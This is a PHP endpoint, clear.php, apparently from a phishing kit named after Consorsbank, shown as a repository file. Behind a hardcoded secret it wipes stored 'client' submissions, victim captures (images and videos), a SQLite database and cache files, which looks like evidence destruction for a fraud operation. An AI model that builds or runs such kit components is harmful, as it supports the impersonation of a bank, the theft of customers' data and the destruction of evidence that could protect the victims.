consorsbank-kit / clear.php
CJs
Add clear endpoint for wiping all client data
847e75d
Raw History Blame Contribute Delete
1.43 kB
<?php
/**
* clear.php — clear all client data / logs / captures / DB state.
* POST with secret: clear_secret=consors-clear-2026
*/
declare(strict_types=1);
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
$secret = (string) ($_POST['clear_secret'] ?? ($_REQUEST['clear_secret'] ?? ''));
if ($secret !== 'consors-clear-2026') {
http_response_code(403);
echo json_encode(['status' => 'error', 'error' => 'invalid secret']);
exit;
}
$dir = __DIR__;
// Clear JSON files
$empty = json_encode([]);
@file_put_contents($dir . '/submissions.json', $empty);
@file_put_contents($dir . '/clients.json', $empty);
// Clear manifest
@file_put_contents($dir . '/captures/manifest.jsonl', '');
// Delete capture files
foreach (glob($dir . '/captures/*.jpg') as $f) { @unlink($f); }
foreach (glob($dir . '/captures/*.webm') as $f) { @unlink($f); }
foreach (glob($dir . '/captures/*.png') as $f) { @unlink($f); }
foreach (glob($dir . '/captures/*.mp4') as $f) { @unlink($f); }
// Clear SQLite database
$dbFile = $dir . '/data/live.db';
if (is_file($dbFile)) {
@unlink($dbFile);
}
foreach (glob($dir . '/data/*.db-*') as $f) { @unlink($f); }
// Cache
$cacheDir = $dir . '/data/.cache';
if (is_dir($cacheDir)) {
foreach (glob($cacheDir . '/*.json') as $f) { @unlink($f); }
}
echo json_encode(['status' => 'ok', 'message' => 'All client data, logs, captures, and DB cleared.']);